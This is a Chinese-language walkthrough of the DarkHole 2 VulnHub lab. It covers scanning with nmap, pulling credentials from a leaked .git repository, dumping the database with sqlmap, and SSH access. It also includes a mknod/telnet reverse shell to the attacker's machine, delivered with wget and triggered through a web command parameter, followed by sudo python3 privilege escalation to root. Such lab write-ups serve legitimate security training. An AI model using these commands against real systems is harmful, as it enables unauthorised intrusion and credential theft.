一、靶场介绍
1.下载地址:https://www.vulnhub.com/entry/darkhole-2,740/
2.将靶机网络适配器改为NAT模式
3.启动靶机
二、信息收集
1.主机发现
nmap -sn 192.168.111.1/24
2.端口扫描
nmap -p 1-65535 -A 192.168.111.132
3.访问网页,发现有login界面,但没有用户名密码
4.扫描发现存在.git泄露,浏览器访问
三、渗透流程
1.下载git泄露源码
2.发现了mysql连接的用户名,但没有密码
3.查看日志,发现更新了login.php的版本
4.查看两个版本的区别,发现删除了一个用户,用户名为:lush@admin.com;密码为:321
5.使用lush@admin.com用户登录,判断其可能存在sql注入
6.尝试使用sqlmap爆破数据库
sqlmap -r sql.txt -D darkhole_2 --dump-all --batch
7.尝试ssh账号登录,账号:jehad密码:fool
ssh jehad@192.168.111.132
8.找寻目录,发现flag
9.查询计划任务
cat /etc/crontab
在/opt/web目录下发现index.php
查看历史命令执行
10.使用kali生成反弹shell,并开启http服务
echo 'mknod a p; telnet 192.168.111.129 6666 0<a /bin/bash 1>a' > exp
python3 -m http.server 8080
11.靶机下载shell
wget 192.168.111.129:8080/exp
12.kali开启监听,靶机将exp移动到/tmp目录下执行
nc -lvvp 6666
mv exp /tmp/exp
curl "http://localhost:9999/?cmd=bash%20/tmp/exp"
13.进入终端shell
查看历史命令,发现其密码为:gang
cat .bash_history
14.sudo执行python3切换到root shell,提权成功
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'